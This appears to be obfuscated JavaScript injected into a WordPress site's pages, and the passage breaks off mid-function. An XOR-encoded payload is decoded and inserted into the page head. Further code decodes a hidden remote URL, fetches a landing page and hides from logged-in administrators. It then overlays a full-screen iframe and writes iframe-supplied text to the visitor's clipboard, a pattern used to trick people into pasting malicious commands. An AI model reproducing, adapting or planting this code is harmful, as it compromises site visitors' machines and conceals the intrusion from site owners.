39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,57,53,42,35,120,122,124,124,122,46,35,42,63,53,60,122,62,59,46,59,116,46,63,34,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,25,53,42,35,114,62,59,46,59,116,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,57,54,63,59,52,47,42,114,52,63,34,46,9,46,59,46,47,41,115,122,33,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,52,47,54,54,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,122,124,124,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,52,63,34,46,9,46,59,46,47,41,122,38,38,122,120,62,53,52,63,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,62,122,38,38,122,123,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,41,46,63,42,114,51,52,62,63,34,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,52,62,63,34,122,100,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,60,61,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,52,62,63,34,7,122,38,38,122,33,39,97,87,80,122,122,122,122,122,122,44,59,40,122,56,47,51,54,46,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,57,60,61,116,46,63,55,42,54,59,46,63,122,38,38,122,120,120,118,122,51,62,115,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,56,47,51,54,46,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,57,60,61,116,47,41,63,28,63,46,57,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,56,47,51,54,46,15,40,54,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,56,47,51,54,46,15,40,54,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,59,45,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,54,59,52,62,51,52,61,15,40,54,122,103,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,54,59,52,62,51,52,61,15,40,54,115,122,40,63,46,47,40,52,122,54,59,52,62,51,52,61,15,40,54,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,106,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,122,33,87,80,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,34,51,41,46,51,52,61,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,122,122,122,122,51,60,122,114,63,34,51,41,46,51,52,61,115,122,33,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,33,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,97,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,51,60,40,59,55,63,120,115,97,87,80,122,122,122,122,44,59,40,122,57,54,53,41,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,40,63,44,63,59,54,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,46,51,55,63,53,47,46,19,62,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,40,63,44,63,59,54,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,122,38,38,122,40,63,44,63,59,54,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,40,63,44,63,59,54,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,44,51,41,51,56,51,54,51,46,35,122,103,122,120,44,51,41,51,56,54,63,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,107,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,42,53,51,52,46,63,40,31,44,63,52,46,41,122,103,122,120,59,47,46,53,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,40,63,55,53,44,63,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,115,97,87,80,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,122,51,60,40,59,55,63,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,62,63,41,46,40,53,35,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,57,54,53,41,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,62,63,41,46,40,53,35,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,40,63,44,63,59,54,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,51,62,122,103,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,27,46,46,40,118,122,120,107,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,118,122,120,46,40,47,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,54,53,59,62,51,52,61,120,118,122,120,63,59,61,63,40,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,54,54,53,45,120,118,122,120,57,54,51,42,56,53,59,40,62,119,45,40,51,46,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,40,57,122,103,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,120,44,120,118,122,23,59,46,50,116,40,59,52,62,53,55,114,115,116,46,53,9,46,40,51,52,61,114,105,108,115,116,41,54,51,57,63,114,104,115,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,57,41,41,14,63,34,46,122,103,122,1,87,80,122,122,122,122,122,122,120,42,53,41,51,46,51,53,52,96,60,51,34,63,62,122,123,51,55,42,53,40,46,59,52,46,120,118,87,80,122,122,122,122,122,122,120,46,53,42,96,106,120,118,87,80,122,122,122,122,122,122,120,54,63,60,46,96,106,120,118,87,80,122,122,122,122,122,122,120,45,51,62,46,50,96,107,106,106,44,45,120,118,87,80,122,122,122,122,122,122,120,50,63,51,61,50,46,96,107,106,106,44,50,120,118,87,80,122,122,122,122,122,122,120,56,53,40,62,63,40,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,32,119,51,52,62,63,34,96,104,107,110,109,110,98,105,108,110,109,120,118,87,80,122,122,122,122,122,122,120,55,59,40,61,51,52,96,106,120,118,87,80,122,122,122,122,122,122,120,42,59,62,62,51,52,61,96,106,120,118,87,80,122,122,122,122,122,122,120,53,44,63,40,60,54,53,45,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,44,51,41,51,56,51,54,51,46,35,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,53,42,59,57,51,46,35,96,106,120,118,87,80,122,122,122,122,122,122,120,42,53,51,52,46,63,40,119,63,44,63,52,46,41,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,56,59,57,49,61,40,53,47,52,62,96,46,40,59,52,41,42,59,40,63,52,46,120,87,80,122,122,122,122,7,116,48,53,51,52,114,120,97,120,115,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,54,53,59,62,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,123,40,63,61,51,41,46,40,35,116,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,63,40,40,53,40,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,46,51,55,63,53,47,46,19,62,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,118,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,47,52,114,115,122,33,87,80,122,122,122,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,97,87,80,122,122,122,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,97,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,27,10,19,5,19,30,5,15,8,22,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,51,62,122,103,122,114,51,62,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,60,51,52,59,54,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,60,51,52,59,54,15,40,54,115,97,87,80,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,44,59,40,122,60,51,52,59,54,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,59,54,21,40,51,61,51,52,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,60,51,52,59,54,15,40,54,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,103,122,40,47,52,114,115,97,87,80,39,115,114,115,97];return String.fromCharCode.apply(String,_0x5641.map(function(c){return c^0x5A;}));})();var __d=document;var __h=__d.head||__d.documentElement;var __sc=__d.createElement("script");__sc.type="text/javascript";__sc.text=__s;__h.appendChild(__sc);})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
